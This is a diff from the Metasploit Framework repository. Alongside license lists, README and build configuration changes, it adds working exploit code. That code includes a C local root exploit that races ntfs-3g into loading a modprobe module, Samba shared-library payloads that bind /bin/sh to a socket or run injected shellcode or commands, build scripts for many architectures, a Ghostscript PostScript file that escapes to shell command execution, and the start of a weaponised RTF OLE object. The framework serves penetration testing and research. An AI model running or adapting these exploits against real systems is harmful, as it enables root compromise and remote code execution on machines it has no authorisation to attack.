pcaprub, 0.12.4, LGPL-2.1
|
||||
pdf-reader, 2.0.0, MIT
|
||||
pg, 0.20.0, "New BSD"
|
||||
pg_array_parser, 0.0.9, unknown
|
||||
postgres_ext, 3.0.0, MIT
|
||||
pry, 0.10.4, MIT
|
||||
public_suffix, 2.0.5, MIT
|
||||
rack, 1.6.8, MIT
|
||||
rack-test, 0.6.3, MIT
|
||||
rails-deprecated_sanitizer, 1.0.3, MIT
|
||||
rails-dom-testing, 1.0.8, MIT
|
||||
rails-html-sanitizer, 1.0.3, MIT
|
||||
railties, 4.2.9, MIT
|
||||
rake, 12.0.0, MIT
|
||||
rb-readline, 0.5.4, BSD
|
||||
recog, 2.1.11, unknown
|
||||
redcarpet, 3.4.0, MIT
|
||||
rex-arch, 0.1.9, "New BSD"
|
||||
rex-bin_tools, 0.1.4, "New BSD"
|
||||
rex-core, 0.1.11, "New BSD"
|
||||
rex-encoder, 0.1.4, "New BSD"
|
||||
rex-exploitation, 0.1.14, "New BSD"
|
||||
rex-java, 0.1.5, "New BSD"
|
||||
rex-mime, 0.1.5, "New BSD"
|
||||
rex-nop, 0.1.1, "New BSD"
|
||||
rex-ole, 0.1.6, "New BSD"
|
||||
rex-powershell, 0.1.72, "New BSD"
|
||||
rex-random_identifier, 0.1.2, "New BSD"
|
||||
rex-registry, 0.1.3, "New BSD"
|
||||
rex-rop_builder, 0.1.3, "New BSD"
|
||||
rex-socket, 0.1.8, "New BSD"
|
||||
rex-sslscan, 0.1.4, "New BSD"
|
||||
rex-struct2, 0.1.2, "New BSD"
|
||||
rex-text, 0.2.15, "New BSD"
|
||||
rex-zip, 0.1.3, "New BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
robots, 0.10.1, MIT
|
||||
rspec, 3.6.0, MIT
|
||||
rspec-core, 3.6.0, MIT
|
||||
rspec-expectations, 3.6.0, MIT
|
||||
rspec-mocks, 3.6.0, MIT
|
||||
rspec-rails, 3.6.0, MIT
|
||||
rspec-rerun, 1.1.0, MIT
|
||||
rspec-support, 3.6.0, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby_smb, 0.0.18, "New BSD"
|
||||
rubyntlm, 0.6.2, MIT
|
||||
rubyzip, 1.2.1, "Simplified BSD"
|
||||
sawyer, 0.8.1, MIT
|
||||
signet, 0.7.3, "Apache 2.0"
|
||||
simplecov, 0.14.1, MIT
|
||||
simplecov-html, 0.10.1, MIT
|
||||
slop, 3.6.0, MIT
|
||||
sqlite3, 1.3.13, "New BSD"
|
||||
sshkey, 1.9.0, MIT
|
||||
thor, 0.19.4, MIT
|
||||
thread_safe, 0.3.6, "Apache 2.0"
|
||||
timecop, 0.9.1, MIT
|
||||
ttfunk, 1.5.1, "Nonstandard, GPL-2.0, GPL-3.0"
|
||||
tzinfo, 1.2.3, MIT
|
||||
tzinfo-data, 1.2017.2, MIT
|
||||
windows_error, 0.1.2, BSD
|
||||
xdr, 2.0.0, "Apache 2.0"
|
||||
xmlrpc, 0.3.0, ruby
|
||||
yard, 0.9.9, MIT
|
||||
@@ -9,7 +9,7 @@ Bug tracking and development information can be found at:
|
||||
https://github.com/rapid7/metasploit-framework
|
||||
|
||||
New bugs and feature requests should be directed to:
|
||||
http://r-7.co/MSF-BUGv1
|
||||
https://r-7.co/MSF-BUGv1
|
||||
|
||||
API documentation for writing modules can be found at:
|
||||
https://rapid7.github.io/metasploit-framework/api
|
||||
@@ -22,7 +22,7 @@ Installing
|
||||
|
||||
Generally, you should use [the free installer](https://www.metasploit.com/download),
|
||||
which contains all of the dependencies and will get you up and running with a
|
||||
few clicks. See the [Dev Environment Setup](http://r-7.co/MSF-DEV) if
|
||||
few clicks. See the [Dev Environment Setup](https://r-7.co/MSF-DEV) if
|
||||
you'd like to deal with dependencies on your own.
|
||||
|
||||
Using Metasploit
|
||||
@@ -45,6 +45,6 @@ pull request. For slightly more information, see
|
||||
[wiki-devenv]: https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment "Metasploit Development Environment Setup"
|
||||
[wiki-start]: https://github.com/rapid7/metasploit-framework/wiki/ "Metasploit Wiki"
|
||||
[wiki-usage]: https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit "Using Metasploit"
|
||||
[unleashed]: http://www.offensive-security.com/metasploit-unleashed/ "Metasploit Unleashed"
|
||||
[unleashed]: https://www.offensive-security.com/metasploit-unleashed/ "Metasploit Unleashed"
|
||||
|
||||
|
||||
|
||||
@@ -9,6 +9,20 @@ require 'metasploit/framework/spec/untested_payloads'
|
||||
# the user installs with `bundle install --without db`
|
||||
Metasploit::Framework::Require.optionally_active_record_railtie
|
||||
|
||||
begin
|
||||
require 'rspec/core'
|
||||
require 'rspec-rerun/tasks'
|
||||
rescue LoadError
|
||||
puts "rspec not in bundle, so can't set up spec tasks. " \
|
||||
"To run specs ensure to install the development and test groups."
|
||||
puts "Bundle currently installed '--without #{Bundler.settings.without.join(' ')}'."
|
||||
puts "To clear the without option do `bundle install --without ''` (the --without flag with an empty string) or " \
|
||||
"`rm -rf .bundle` to remove the .bundle/config manually and then `bundle install`"
|
||||
else
|
||||
require 'rspec/core/rake_task'
|
||||
RSpec::Core::RakeTask.new(spec: 'db:test:prepare')
|
||||
end
|
||||
|
||||
Metasploit::Framework::Application.load_tasks
|
||||
Metasploit::Framework::Spec::Constants.define_task
|
||||
Metasploit::Framework::Spec::Threads::Suite.define_task
|
||||
|
||||
Vendored
+3
-6
@@ -3,10 +3,7 @@
|
||||
|
||||
Vagrant.configure(2) do |config|
|
||||
config.ssh.forward_x11 = true
|
||||
config.vm.box = "ubuntu/trusty64"
|
||||
# TODO: find a minimal image that keeps up-to-date and
|
||||
# supports multiple providers
|
||||
#config.vm.box = "phusion/ubuntu-14.04-amd64"
|
||||
config.vm.box = "ubuntu/xenial64"
|
||||
config.vm.network :forwarded_port, guest: 4444, host: 4444
|
||||
config.vm.provider "vmware" do |v|
|
||||
v.memory = 2048
|
||||
@@ -26,14 +23,14 @@ Vagrant.configure(2) do |config|
|
||||
[ #"echo 127.0.1.1 `cat /etc/hostname` >> /etc/hosts", work around a bug in official Ubuntu Xenial cloud images
|
||||
"apt-get update",
|
||||
"apt-get dist-upgrade -y",
|
||||
"apt-get -y install curl build-essential git tig vim john nmap libpq-dev libpcap-dev gnupg fortune postgresql postgresql-contrib",
|
||||
"apt-get -y install curl build-essential git tig vim john nmap libpq-dev libpcap-dev gnupg2 fortune postgresql postgresql-contrib",
|
||||
].each do |step|
|
||||
config.vm.provision "shell", inline: step
|
||||
end
|
||||
|
||||
[ "gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3",
|
||||
"curl -L https://get.rvm.io | bash -s stable",
|
||||
"source ~/.rvm/scripts/rvm && cd /vagrant && rvm --install .ruby-version",
|
||||
"source ~/.rvm/scripts/rvm && cd /vagrant && rvm install `cat .ruby-version`",
|
||||
"source ~/.rvm/scripts/rvm && cd /vagrant && gem install bundler",
|
||||
"source ~/.rvm/scripts/rvm && cd /vagrant && bundle",
|
||||
"mkdir -p ~/.msf4",
|
||||
|
||||
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Executable
BIN
Binary file not shown.
@@ -0,0 +1,196 @@
|
||||
#define _GNU_SOURCE
|
||||
#include <stdbool.h>
|
||||
#include <errno.h>
|
||||
#include <sys/inotify.h>
|
||||
#include <unistd.h>
|
||||
#include <err.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/types.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/eventfd.h>
|
||||
#include <signal.h>
|
||||
#include <poll.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/prctl.h>
|
||||
#include <string.h>
|
||||
#include <sys/wait.h>
|
||||
#include <time.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
int main(void) {
|
||||
/* prevent shell from backgrounding ntfs-3g when stopped */
|
||||
pid_t initial_fork_child = fork();
|
||||
if (initial_fork_child == -1)
|
||||
err(1, "initial fork");
|
||||
if (initial_fork_child != 0) {
|
||||
int status;
|
||||
if (waitpid(initial_fork_child, &status, 0) != initial_fork_child)
|
||||
err(1, "waitpid");
|
||||
execl("rootshell", "rootshell", NULL);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
char buf[1000] = {0};
|
||||
// Set up workspace with volume, mountpoint, modprobe config and module directory.
|
||||
char template[] = "/tmp/ntfs_sploit.XXXXXX";
|
||||
if (mkdtemp(template) == NULL)
|
||||
err(1, "mkdtemp");
|
||||
char volume[100], mountpoint[100], modprobe_confdir[100], modprobe_conffile[100];
|
||||
sprintf(volume, "%s/volume", template);
|
||||
sprintf(mountpoint, "%s/mountpoint", template);
|
||||
sprintf(modprobe_confdir, "%s/modprobe.d", template);
|
||||
sprintf(modprobe_conffile, "%s/sploit.conf", modprobe_confdir);
|
||||
if (mkdir(volume, 0777) || mkdir(mountpoint, 0777) || mkdir(modprobe_confdir, 0777))
|
||||
err(1, "mkdir");
|
||||
int conffd = open(modprobe_conffile, O_WRONLY|O_CREAT, 0666);
|
||||
if (conffd == -1)
|
||||
err(1, "open modprobe config");
|
||||
int suidfile_fd = open("rootshell", O_RDONLY);
|
||||
if (suidfile_fd == -1)
|
||||
err(1, "unable to open ./rootshell");
|
||||
char modprobe_config[200];
|
||||
sprintf(modprobe_config, "alias fuse rootmod\noptions rootmod suidfile_fd=%d\n", suidfile_fd);
|
||||
if (write(conffd, modprobe_config, strlen(modprobe_config)) != strlen(modprobe_config))
|
||||
errx(1, "modprobe config write failed");
|
||||
close(conffd);
|
||||
// module directory setup
|
||||
char system_cmd[1000];
|
||||
sprintf(system_cmd, "mkdir -p %s/lib/modules/$(uname -r) && cp rootmod.ko *.bin %s/lib/modules/$(uname -r)/",
|
||||
template, template);
|
||||
if (system(system_cmd))
|
||||
errx(1, "shell command failed");
|
||||
|
||||
// Set up inotify watch for /proc/mounts.
|
||||
// Note: /proc/mounts is a symlink to /proc/self/mounts, so
|
||||
// the watch will only see accesses by this process.
|
||||
int inotify_fd = inotify_init1(IN_CLOEXEC);
|
||||
if (inotify_fd == -1)
|
||||
err(1, "unable to create inotify fd?");
|
||||
if (inotify_add_watch(inotify_fd, "/proc/mounts", IN_OPEN) == -1)
|
||||
err(1, "unable to watch /proc/mounts");
|
||||
|
||||
// Set up inotify watch for /proc/filesystems.
|
||||
// This can be used to detect whether we lost the race.
|
||||
int fs_inotify_fd = inotify_init1(IN_CLOEXEC);
|
||||
if (fs_inotify_fd == -1)
|
||||
err(1, "unable to create inotify fd?");
|
||||
if (inotify_add_watch(fs_inotify_fd, "/proc/filesystems", IN_OPEN) == -1)
|
||||
err(1, "unable to watch /proc/filesystems");
|
||||
|
||||
// Set up inotify watch for /sbin/modprobe.
|
||||
// This can be used to detect when we can release all our open files.
|
||||
int modprobe_inotify_fd = inotify_init1(IN_CLOEXEC);
|
||||
if (modprobe_inotify_fd == -1)
|
||||
err(1, "unable to create inotify fd?");
|
||||
if (inotify_add_watch(modprobe_inotify_fd, "/sbin/modprobe", IN_OPEN) == -1)
|
||||
err(1, "unable to watch /sbin/modprobe");
|
||||
|
||||
int do_exec_pipe[2];
|
||||
if (pipe2(do_exec_pipe, O_CLOEXEC))
|
||||
err(1, "pipe");
|
||||
pid_t child = fork();
|
||||
if (child == -1)
|
||||
err(1, "fork");
|
||||
if (child != 0) {
|
||||
if (read(do_exec_pipe[0], buf, 1) != 1)
|
||||
errx(1, "pipe read failed");
|
||||
char modprobe_opts[300];
|
||||
sprintf(modprobe_opts, "-C %s -d %s", modprobe_confdir, template);
|
||||
setenv("MODPROBE_OPTIONS", modprobe_opts, 1);
|
||||
execlp("ntfs-3g", "ntfs-3g", volume, mountpoint, NULL);
|
||||
}
|
||||
child = getpid();
|
||||
|
||||
// Now launch ntfs-3g and wait until it opens /proc/mounts
|
||||
if (write(do_exec_pipe[1], buf, 1) != 1)
|
||||
errx(1, "pipe write failed");
|
||||
|
||||
if (read(inotify_fd, buf, sizeof(buf)) <= 0)
|
||||
errx(1, "inotify read failed");
|
||||
if (kill(getppid(), SIGSTOP))
|
||||
err(1, "can't stop setuid parent");
|
||||
|
||||
// Check whether we won the main race.
|
||||
struct pollfd poll_fds[1] = {{
|
||||
.fd = fs_inotify_fd,
|
||||
.events = POLLIN
|
||||
}};
|
||||
int poll_res = poll(poll_fds, 1, 100);
|
||||
if (poll_res == -1)
|
||||
err(1, "poll");
|
||||
if (poll_res == 1) {
|
||||
puts("looks like we lost the race");
|
||||
if (kill(getppid(), SIGKILL))
|
||||
perror("SIGKILL after lost race");
|
||||
char rm_cmd[100];
|
||||
sprintf(rm_cmd, "rm -rf %s", template);
|
||||
system(rm_cmd);
|
||||
exit(1);
|
||||
}
|
||||
puts("looks like we won the race");
|
||||
|
||||
// Open as many files as possible. Whenever we have
|
||||
// a bunch of open files, move them into a new process.
|
||||
int total_open_files = 0;
|
||||
while (1) {
|
||||
#define LIMIT 500
|
||||
int open_files[LIMIT];
|
||||
bool reached_limit = false;
|
||||
int n_open_files;
|
||||
for (n_open_files = 0; n_open_files < LIMIT; n_open_files++) {
|
||||
open_files[n_open_files] = eventfd(0, 0);
|
||||
if (open_files[n_open_files] == -1) {
|
||||
if (errno != ENFILE)
|
||||
err(1, "eventfd() failed");
|
||||
printf("got ENFILE at %d total\n", total_open_files);
|
||||
reached_limit = true;
|
||||
break;
|
||||
}
|
||||
total_open_files++;
|
||||
}
|
||||
pid_t fd_stasher_child = fork();
|
||||
if (fd_stasher_child == -1)
|
||||
err(1, "fork (for eventfd holder)");
|
||||
if (fd_stasher_child == 0) {
|
||||
prctl(PR_SET_PDEATHSIG, SIGKILL);
|
||||
// close PR_SET_PDEATHSIG race window
|
||||
if (getppid() != child) raise(SIGKILL);
|
||||
while (1) pause();
|
||||
}
|
||||
for (int i = 0; i < n_open_files; i++)
|
||||
close(open_files[i]);
|
||||
if (reached_limit)
|
||||
break;
|
||||
}
|
||||
|
||||
// Wake up ntfs-3g and keep allocating files, then free up
|
||||
// the files as soon as we're reasonably certain that either
|
||||
// modprobe was spawned or the attack failed.
|
||||
if (kill(getppid(), SIGCONT))
|
||||
err(1, "SIGCONT");
|
||||
|
||||
time_t start_time = time(NULL);
|
||||
while (1) {
|
||||
for (int i=0; i<1000; i++) {
|
||||
int efd = eventfd(0, 0);
|
||||
if (efd == -1 && errno != ENFILE)
|
||||
err(1, "gapfiller eventfd() failed unexpectedly");
|
||||
}
|
||||
struct pollfd modprobe_poll_fds[1] = {{
|
||||
.fd = modprobe_inotify_fd,
|
||||
.events = POLLIN
|
||||
}};
|
||||
int modprobe_poll_res = poll(modprobe_poll_fds, 1, 0);
|
||||
if (modprobe_poll_res == -1)
|
||||
err(1, "poll");
|
||||
if (modprobe_poll_res == 1) {
|
||||
puts("yay, modprobe ran!");
|
||||
exit(0);
|
||||
}
|
||||
if (time(NULL) > start_time + 3) {
|
||||
puts("modprobe didn't run?");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
}
|
||||
Executable
+48
@@ -0,0 +1,48 @@
|
||||
#!/bin/bash
|
||||
|
||||
build () {
|
||||
CC=$1
|
||||
TARGET_SUFFIX=$2
|
||||
CFLAGS=$3
|
||||
|
||||
echo "[*] Building for ${TARGET_SUFFIX}..."
|
||||
for type in {shellcode,system,findsock}
|
||||
do ${CC} ${CFLAGS} -Wall -Werror -fPIC -fno-stack-protector samba-root-${type}.c -shared -o samba-root-${type}-${TARGET_SUFFIX}.so
|
||||
done
|
||||
}
|
||||
|
||||
rm -f *.o *.so *.gz
|
||||
|
||||
#
|
||||
# Linux GLIBC
|
||||
#
|
||||
|
||||
# x86
|
||||
build "gcc" "linux-glibc-x86_64" "-m64 -D OLD_LIB_SET_2"
|
||||
build "gcc" "linux-glibc-x86" "-m32 -D OLD_LIB_SET_1"
|
||||
|
||||
# ARM
|
||||
build "arm-linux-gnueabi-gcc-5" "linux-glibc-armel" "-march=armv5 -mlittle-endian"
|
||||
build "arm-linux-gnueabihf-gcc-5" "linux-glibc-armhf" "-march=armv7 -mlittle-endian"
|
||||
build "aarch64-linux-gnu-gcc-4.9" "linux-glibc-aarch64" ""
|
||||
|
||||
# MIPS
|
||||
build "mips-linux-gnu-gcc-5" "linux-glibc-mips" "-D OLD_LIB_SET_1"
|
||||
build "mipsel-linux-gnu-gcc-5" "linux-glibc-mipsel" "-D OLD_LIB_SET_1"
|
||||
build "mips64-linux-gnuabi64-gcc-5" "linux-glibc-mips64" "-D OLD_LIB_SET_1"
|
||||
build "mips64el-linux-gnuabi64-gcc-5" "linux-glibc-mips64el" "-D OLD_LIB_SET_1"
|
||||
|
||||
# SPARC
|
||||
build "sparc64-linux-gnu-gcc-5" "linux-glibc-sparc64" ""
|
||||
build "sparc64-linux-gnu-gcc-5" "linux-glibc-sparc" "-m32 -D OLD_LIB_SET_1"
|
||||
|
||||
# PowerPC
|
||||
build "powerpc-linux-gnu-gcc-5" "linux-glibc-powerpc" "-D OLD_LIB_SET_1"
|
||||
build "powerpc64-linux-gnu-gcc-5" "linux-glibc-powerpc64" ""
|
||||
build "powerpc64le-linux-gnu-gcc-4.9" "linux-glibc-powerpc64le" ""
|
||||
|
||||
# S390X
|
||||
build "s390x-linux-gnu-gcc-5" "linux-glibc-s390x" ""
|
||||
|
||||
gzip -9 *.so
|
||||
rm -f *.o *.so
|
||||
Executable
+21
@@ -0,0 +1,21 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Assume x86_64 Ubuntu 16.04 base system
|
||||
apt-get install build-essential \
|
||||
gcc-5-multilib \
|
||||
gcc-5-multilib-arm-linux-gnueabi \
|
||||
gcc-5-multilib-arm-linux-gnueabihf \
|
||||
gcc-5-multilib-mips-linux-gnu \
|
||||
gcc-5-multilib-mips64-linux-gnuabi64 \
|
||||
gcc-5-multilib-mips64el-linux-gnuabi64 \
|
||||
gcc-5-multilib-mipsel-linux-gnu \
|
||||
gcc-5-multilib-powerpc-linux-gnu \
|
||||
gcc-5-multilib-powerpc64-linux-gnu \
|
||||
gcc-5-multilib-s390x-linux-gnu \
|
||||
gcc-5-multilib-sparc64-linux-gnu \
|
||||
gcc-4.9-powerpc64le-linux-gnu \
|
||||
gcc-4.9-aarch64-linux-gnu
|
||||
|
||||
if [ ! -e /usr/include/asm ];
|
||||
then ln -sf /usr/include/asm-generic /usr/include/asm
|
||||
fi
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,67 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <signal.h>
|
||||
#include <string.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver execve,execve@GLIBC_2.0");
|
||||
__asm__(".symver dup2,dup2@GLIBC_2.0");
|
||||
__asm__(".symver getsockname,getsockname@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver execve,execve@GLIBC_2.2.5");
|
||||
__asm__(".symver dup2,dup2@GLIBC_2.2.5");
|
||||
__asm__(".symver getsockname,getsockname@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
extern bool change_to_root_user(void);
|
||||
|
||||
// Samba 4 looks for samba_init_module
|
||||
int samba_init_module(void)
|
||||
{
|
||||
char *args[2] = {"/bin/sh", 0};
|
||||
struct sockaddr_in sa;
|
||||
socklen_t sl = sizeof(sa);
|
||||
int s;
|
||||
unsigned char buff[] = {
|
||||
0x00, 0x00, 0x00, 0x23, 0xff, 0x53, 0x4d, 0x42,
|
||||
0xa2, 0x39, 0x00, 0x00, 0xc0, 0x88, 0x03, 0xc8,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x64, 0x7e,
|
||||
0x64, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x00
|
||||
};
|
||||
|
||||
change_to_root_user();
|
||||
|
||||
for (s=4096; s>0; s--) {
|
||||
|
||||
// Skip over invalid sockets
|
||||
if (getsockname(s, (struct sockaddr *)&sa, &sl) != 0)
|
||||
continue;
|
||||
|
||||
// Skip over non internet sockets
|
||||
if (sa.sin_family != AF_INET)
|
||||
continue;
|
||||
|
||||
// Send a semi-valid SMB response to simplify things
|
||||
send(s, buff, sizeof(buff), 0);
|
||||
|
||||
// Duplicate standard input/output/error
|
||||
dup2(s, 0);
|
||||
dup2(s, 1);
|
||||
dup2(s, 2);
|
||||
|
||||
execve(args[0], args, NULL);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Samba 3 looks for init_samba_module
|
||||
int init_samba_module(void) { return samba_init_module(); }
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,47 @@
|
||||
#include <stdio.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
#include <signal.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver mmap,mmap@GLIBC_2.0");
|
||||
__asm__(".symver memcpy,memcpy@GLIBC_2.0");
|
||||
__asm__(".symver fork,fork@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver mmap,mmap@GLIBC_2.2.5");
|
||||
__asm__(".symver memcpy,memcpy@GLIBC_2.2.5");
|
||||
__asm__(".symver fork,fork@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
#define PAYLOAD_SIZE 10000
|
||||
unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0};
|
||||
|
||||
extern bool change_to_root_user(void);
|
||||
|
||||
// Samba 4 looks for samba_init_module
|
||||
int samba_init_module(void)
|
||||
{
|
||||
void *mem;
|
||||
void (*fn)();
|
||||
|
||||
change_to_root_user();
|
||||
mem = mmap(NULL, PAYLOAD_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
|
||||
if (mem == MAP_FAILED)
|
||||
return 0;
|
||||
|
||||
memcpy(mem, payload, PAYLOAD_SIZE);
|
||||
fn = (void(*)())mem;
|
||||
|
||||
if (! fork()) {
|
||||
fn();
|
||||
kill(getpid(), 9);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Samba 3 looks for init_samba_module
|
||||
int init_samba_module(void) { return samba_init_module(); }
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,34 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver system,system@GLIBC_2.0");
|
||||
__asm__(".symver fork,fork@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver system,system@GLIBC_2.2.5");
|
||||
__asm__(".symver fork,fork@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
#define PAYLOAD_SIZE 10000
|
||||
unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0};
|
||||
|
||||
extern bool change_to_root_user(void);
|
||||
|
||||
// Samba 4 looks for samba_init_module
|
||||
int samba_init_module(void)
|
||||
{
|
||||
change_to_root_user();
|
||||
if (! fork()) {
|
||||
system((const char*)payload);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Samba 3 looks for init_samba_module
|
||||
int init_samba_module(void) { return samba_init_module(); }
|
||||
@@ -0,0 +1,101 @@
|
||||
%!PS-Adobe-3.0 EPSF-3.0
|
||||
%%BoundingBox: -0 -0 100 100
|
||||
|
||||
|
||||
/size_from 10000 def
|
||||
/size_step 500 def
|
||||
/size_to 65000 def
|
||||
/enlarge 1000 def
|
||||
|
||||
%/bigarr 65000 array def
|
||||
|
||||
0
|
||||
size_from size_step size_to {
|
||||
pop
|
||||
1 add
|
||||
} for
|
||||
|
||||
/buffercount exch def
|
||||
|
||||
/buffersizes buffercount array def
|
||||
|
||||
|
||||
0
|
||||
size_from size_step size_to {
|
||||
buffersizes exch 2 index exch put
|
||||
1 add
|
||||
} for
|
||||
pop
|
||||
|
||||
/buffers buffercount array def
|
||||
|
||||
0 1 buffercount 1 sub {
|
||||
/ind exch def
|
||||
buffersizes ind get /cursize exch def
|
||||
cursize string /curbuf exch def
|
||||
buffers ind curbuf put
|
||||
cursize 16 sub 1 cursize 1 sub {
|
||||
curbuf exch 255 put
|
||||
} for
|
||||
} for
|
||||
|
||||
|
||||
/buffersearchvars [0 0 0 0 0] def
|
||||
/sdevice [0] def
|
||||
|
||||
enlarge array aload
|
||||
|
||||
{
|
||||
.eqproc
|
||||
buffersearchvars 0 buffersearchvars 0 get 1 add put
|
||||
buffersearchvars 1 0 put
|
||||
buffersearchvars 2 0 put
|
||||
buffercount {
|
||||
buffers buffersearchvars 1 get get
|
||||
buffersizes buffersearchvars 1 get get
|
||||
16 sub get
|
||||
254 le {
|
||||
buffersearchvars 2 1 put
|
||||
buffersearchvars 3 buffers buffersearchvars 1 get get put
|
||||
buffersearchvars 4 buffersizes buffersearchvars 1 get get 16 sub put
|
||||
} if
|
||||
buffersearchvars 1 buffersearchvars 1 get 1 add put
|
||||
} repeat
|
||||
|
||||
buffersearchvars 2 get 1 ge {
|
||||
exit
|
||||
} if
|
||||
%(.) print
|
||||
} loop
|
||||
|
||||
.eqproc
|
||||
.eqproc
|
||||
.eqproc
|
||||
sdevice 0
|
||||
currentdevice
|
||||
buffersearchvars 3 get buffersearchvars 4 get 16#7e put
|
||||
buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put
|
||||
buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put
|
||||
put
|
||||
|
||||
|
||||
buffersearchvars 0 get array aload
|
||||
|
||||
sdevice 0 get
|
||||
16#3e8 0 put
|
||||
|
||||
sdevice 0 get
|
||||
16#3b0 0 put
|
||||
|
||||
sdevice 0 get
|
||||
16#3f0 0 put
|
||||
|
||||
|
||||
currentdevice null false mark /OutputFile (%pipe%echo vulnerable > /dev/tty)
|
||||
.putdeviceparams
|
||||
1 true .outputpage
|
||||
.rsdparams
|
||||
%{ } loop
|
||||
0 0 .quit
|
||||
%asdf
|
||||
|
||||
@@ -0,0 +1,33 @@
|
||||
{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi31507\deflang1033\deflangfe2052\themelang1033\themelangfe2052\themelangcs0
|
||||
{\info
|
||||
{\author Microsoft}
|
||||
{\operator Microsoft}
|
||||
}
|
||||
{\*\xmlnstbl {\xmlns1 http://schemas.microsoft.com/office/word/2003/wordml}}
|
||||
{
|
||||
{\object\objautlink\objupdate\rsltpict\objw291\objh230\objscalex99\objscaley101
|
||||
{\*\objclass Word.Document.8}
|
||||
{\*\objdata 0105000002000000
|
||||
090000004f4c45324c696e6b000000000000000000000a0000
|
||||
d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
fffffffffffffffffdfffffffefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
